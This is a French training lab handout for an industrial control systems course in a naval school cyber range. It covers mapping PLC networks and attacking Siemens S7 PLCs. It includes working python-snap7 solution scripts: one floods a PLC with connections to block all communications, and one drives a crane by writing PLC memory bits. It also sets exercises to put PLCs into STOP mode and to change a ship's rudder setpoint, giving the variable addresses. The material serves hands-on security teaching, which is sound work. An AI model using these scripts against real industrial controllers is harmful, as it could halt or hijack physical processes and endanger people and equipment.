Lab 2 : Systèmes industriels
Cette partie sera réalisé dans le cyber range de l'école navale
Cartographie de la plateforme
Dans cette section, nous allons cartographier la plateforme. Les switches Hirschmann présents dans les baies ont le port 10 configuré en mode miroir. Vous pouvez donc vous connecter sur l’un des switches.
Lab2.1
Identifier le réseau IP pour se connecter
A l'aide de tcpdump ou Wireshark, identifiez les plages d’adresses IP utilisées.
Lab2.2
Cartographier la plateforme
À l’aide de l’outil nmap, scannez l’ensemble des boucles.
Lab2.3
Identifier les automates
Utilisez le script nmap dédié pour identifier les modèles d’automates.
Attaques sur PLC
Choisissez un automate sur la plateforme pour réaliser les exercices suivants :
Lab2.4
Arrêter les PLC
Créez un programme Python à l'aide de la librairie python-snap7.Le programme devra se connecter à un automate puis le passer en mode STOP.
Lab2.5
Saturer les PLC
Les PLC Siemens ont une limite du nombre de connexions simultanées. Pour la gamme s7-300, cette limite varie de 8 pour le S7-314 à 32 pour le S7-319
Réaliser en python un programme pour saturé le nombre de connexion afin de bloquer toutes communications
Une solution possible
import snap7
import time
IP = "192.168.101.21"
RACK = 0
SLOT = 2
PORT = 102
NB_TRY = 500 # nb max de tentatives
TARGET_OK = 34 # nb de connexions qu'on veut réussir
RETRY_SEC = 3 # délai entre deux tentatives
ok_clients = [] # liste des connexions réellement ouvertes
for attempt in range(1, NB_TRY + 1):
if len(ok_clients) >= TARGET_OK:
break
try:
c = snap7.client.Client()
c.connect(IP, RACK, SLOT, PORT)
ok_clients.append(c)
print(f"tentative {attempt:02d} -> OK (total ouvertes : {len(ok_clients)})")
except Exception as e:
print(f"tentative {attempt:02d} -> ERREUR : {e}")
time.sleep(RETRY_SEC)
print(f"\n{len(ok_clients)} connexions maintenues. Ctrl-C pour arrêter.\n")
try:
while True:
for i, c in enumerate(ok_clients):
data = c.db_read(1, 0, 4)
print(f"conn {i} -> {data}")
time.sleep(2)
except KeyboardInterrupt:
pass
Identification et modifation des variables de PLC
Dans cet exercice, vous disposez d’une capture d’écran d’une IHM et d'une capture de réseau entre les boucles d'automates et la passerelle.
Lab2.6
liaisons IHM PLC
Analysez le fichier PCAP et déterminez les liaisons entre les IHM et les PLC."
Une solution possible
Sous wireshark : Statistiques -> Conversations :
ihm 192.168.150.1 <-> plc 192.168.101.11;plc 192.168.101.21;plc 192.168.101.31
ihm 192.168.150.2 <-> plc 192.168.102.11;plc 192.168.102.21;plc 192.168.102.31;plc 192.168.102.41
ihm 192.168.150.3 <-> plc 192.168.103.31;plc 192.168.103.41
ihm 192.168.150.4 <-> plc 192.168.104.21;plc 192.168.104.31;plc 192.168.104.41
Lab2.7
Recherche des adresses de variables
On sait que la boucle 1 sert à la propulsion. Quelles sont les variables liées à la puissance moteur et au gouvernail ?
Une solution possible
-Mb704 pour le gouvernail
-Mb700 et Mb702 pour la puissance des moteurs
Lab2.8
piloter le bateau
Maintenant que l’adresse contenant la consigne d’angle du gouvernail est connue, créez un programme Python pour la modifier.
Pilotage d'une grue
Cet exercice simule un PLC Siemens pilotant une grue.
L’IHM est accessible ici http://127.0.0.1:8080
le plc répond à l'adresse 127.0.0.1 port 102.
le programmme Ladder du PLC est diponible: PDF
Lab2.9
Piloter la grue
L’exercice consiste à déposer le container sur le bateau.
Les étapes sont :
- allumer la grue,
- accrocher le container,
- lever le container,
- le déplacer vers la gauche,
- le descendre.
Une solution possible
import snap7
import time
# connection au plc
client = snap7.client.Client()
client.connect("127.0.0.1", 0, 0, 102)
# mise en marche M0.1
client.get_connected()
m = client.mb_read(0,1)
snap7.util.set_bool(m,0,1,True)
client.mb_write(0,1,m)
# verrouillage conteneur M2.4
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,4,True)
client.mb_write(2,1,m)
# monter du conteneur M2.0
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,0,True)
client.mb_write(2,1,m)
# lecture du capteur haut E3.0
while not snap7.util.get_bool(client.eb_read(3,1),0,0):
time.sleep(1)
# déplacement du chariot vers l'avant
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,0,False)
snap7.util.set_bool(m,0,2,True)
client.mb_write(2,1,m)
# lecture du capteur avant du chariot E3.2
while not snap7.util.get_bool(client.eb_read(3,1),0,2):
time.sleep(1)
# descente du conteneur
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,1,True)
client.mb_write(2,1,m)